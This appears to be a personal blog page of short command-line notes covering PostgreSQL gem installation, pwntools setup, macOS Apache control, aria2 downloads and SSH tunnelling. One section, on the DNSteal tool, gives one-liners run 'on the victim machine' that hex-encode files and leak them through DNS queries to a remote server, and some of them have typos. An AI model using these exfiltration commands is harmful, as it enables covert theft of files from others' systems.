hw-1

Installing the pg PostgreSQL gem on Mac OS X

Installing the pg PostgreSQL gem on Mac OS X

I’ve recently switched from using MySQL to PostgreSQL for my Ruby projects. You can connect to a PostgreSQL database from Ruby using the pg gem, but if the pg_config program isn’t in your path you’ll run into problems during installation.

1
2
3
4
5
6
7
8
9
$ sudo gem install pg
Building native extensions. This could take a while...
ERROR: Error installing pg:
ERROR: Failed to build gem native extension.
/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby extconf.rb install pg
extconf.rb:1: command not found: pg_config --version
ERROR: can't find pg_config.
HINT: Make sure pg_config is in your PATH
...

A few minutes later I realised I’d installed my copy of PostgreSQL using the one click installer, which puts the database server in the /Library/PostgreSQL directory. This sorted it:

1
$ PATH=$PATH:/Library/PostgreSQL/8.3/bin sudo gem install pg

on mojave with postgress.app

1
2
gem install pg -- --with-pg-config=/Applications/Postgres.app/Contents/Versions/11/bin/pg_config
export PATH=/Applications/Postgres.app/Contents/Versions/11/bin:$PATH ;bundle install

install pwntools for macOS

install pwntools for macOS

1
2
3
sudo pip install capstone
sudo CFGLAGS="-I/opt/local/include " LDFLAGS="-L/opt/local/lib" pip install cryptography
sudo easy_install pwntools

turn off the built in apache on OSX

turn off the built in apache on OSX

when you install macos server
then httpd server will auto run at system boot
then 80 and 443 port will used, you can’t run othen http server
how to turn off or start apple httpd server command bellow

1
2
3
4
5
6
7
8
//start
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
sudo launchctl load -w /Applications/Server.app/Contents/ServerRoot/System/Library/LaunchDaemons/com.apple.serviceproxy.plist
sudo launchctl load -w /Applications/Server.app/Contents/ServerRoot/System/Library/LaunchDaemons/com.apple.server.httpd.plist
//stop
sudo launchctl unload -w /System/Library/LaunchDaemons/org.apache.httpd.plist
sudo launchctl unload -w /Applications/Server.app/Contents/ServerRoot/System/Library/LaunchDaemons/com.apple.serviceproxy.plist
sudo launchctl unload -w /Applications/Server.app/Contents/ServerRoot/System/Library/LaunchDaemons/com.apple.server.httpd.plist

execute pipe file on bash

execute pipe file on bash

python

1
2
3
python << EOF
print "hello python"
EOF

php

1
2
3
4
5
php << EOF
<?php
phpinfo();
?>
EOF

ruby

1
2
3
ruby << EOF
print "hello ruby\n";
EOF

# aria2 install

aria2 install

osx

1
sudo port install aria2

ubuntu

1
sudo apt install aria2

Aria2 basic download

Same as it is with wget aria2 also offers one argument command line download. Lets try download such us:

1
$ aria2c ftp://local1/linux-distro.iso

If disconnected, you may resume download with the same command. Aria2 keeps a log file of the download progress and will reopen it when download resume is required.

Download from more sources

To speed up your download you can supply aria2 with more than one source of the same file:

1
$ aria2c ftp://local1/linux-distro.iso http://local2/linux-distro.iso

In this case aria2 will recognize that the file to be downloaded is same and will split the file into two parts as well as split the download to fetch from two sources and thus utilizing your download bandwidth to the maximum. In case you have provided two different files aria2 will download them both.

Torrent download

Downloading data using torrents is simple as downloading data via http or ftp. If you alredy have a torrent file which you want to use to fetch your data, simply suppy it to aria2 as a command line argument:

1
$ aria2c linux-dist.torrent

With aria2 you do not even have to bother to download torrent file itself, instead simply supply torrent URL:

1
$ aria2c http://local/linux-dist.torrent

In this case aria2 will download the torrent file to your download directory and then start downloading data. If you do not wish aria2 to download a torrent file simplyt use –follow-torrent=mem option :

1
$ aria2c --follow-torrent=mem http://local/linux-dist.torrent

In this case the actual torrent file will be stored into a memory only, and discarded when download is finished.

Metalink is a file which contains all possible sources for data to be downloaded. Which means that instead supplying aria2 with a multiple sources we need to supply just a single metalink URL or metalink file. For example, you can download Ubuntu TLS Linux ISO using metalink:

1
aria2c http://releases.ubuntu.com/releases/10.04/ubuntu-10.04-desktop-i386.metalink

Download via torrent magnet

As you may have already guessed the syntax to download via torrent magnets is the same as it was in previous examples. All what needs to be done is to supply aria2 with a magnet link:

1
aria2c magnet:?xt=urn:btih:1e99d95f1764644a86a8e99bfd80c ...

Configuring aria2

If you find yourself using same aria2 options all over again, to save your time you may create a configuration file and list all aria2 options you wish to supply on the command line. To do that open or create aria2 configuration file ~/.aria2/aria2.conf andadd:

1
2
3
enable-xml-rpc
follow-torrent=mem
seed-ratio=2

Control Daemon with aria2rpc

1
2
3
4
5
6
$ cat /usr/share/doc/aria2/xmlrpc/aria2rpc.gz | gzip -d > aria2rpc
$ chmod +x aria2rpc
$ aria2rpc addUri [URI] [options]
[task-id]
$ aria2rpc remove [task-id]
$ aria2rpc --help

rpc command example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
aria2rpc  --secret password getGlobalStat

aria2rpc --secret password tellActive
aria2rpc --secret password tellStopped 0 10

aria2rpc --secret password addUri [URI] [options]

aria2rpc --secret password addTorrent /path/to/torrent_file URI... [options]

aria2rpc --secret password remove [task-id]

aria2rpc --secret password addUri https://example.com/1.torrent

aria2rpc --secret password forceRemove 454dd0ab6e000ee8

aria2rpc --secret password tellStatus 9729697c4027bc4e

How To Send Files Stealthily To A Remote Machine Using “DNSteal”

On the victim machine, you simply send the following command:

1
for b in $(xxd -p file/to/send.png); do dig @server $b.filename.com; done

Support for multiple files

1
for filename in $(ls); do for b in $(xxd -p $f); do dig +short @server %b.$filename.com; done; done

It also supports gzip compression of the file to allow for faster transfer speeds, this can be achieved using the “-z” switch:

1
python dnsteal.py 127.0.0.1 -z

Then on the victim machine send a Gzipped file like so:

1
for b in $(gzip -c file/to/send.png | xxd -p); do dig @server $b.filename.com; done

or for multiple, gzip compressed files:

1
for filename in $(ls); do for b in $(gzip -c $filename | xxd -p); do dig +short @server %b.$filename.com; done; done

SSH Tunnel – Local and Remote Port Forwarding Explained With Examples

local port to remote port

1
2

ssh -L 9000:google.com:80 user@example.com

this means forwarding our local port 9000 to imgur.com:80

remote port to local port

1
2

ssh -R 9000:localhost:3000 user@example.com

this means forwarding example.com server port 9000 to local 3000 port

By default, OpenSSH only allows connecting to remote forwarded ports from the server host. However, the GatewayPorts option in the server configuration file sshd_config can be used to control this. The following alternatives are possible:

1
2
3
4

sudo vim /etc/ssh/sshd_config
GatewayPorts yes
sudo service sshd restart

This allows anyone to connect to the forwarded ports. If the server is on the public Internet, anyone on the Internet can connect to the port.

1
2

ssh -R 52.194.1.73:8080:localhost:80 host147.aws.example.com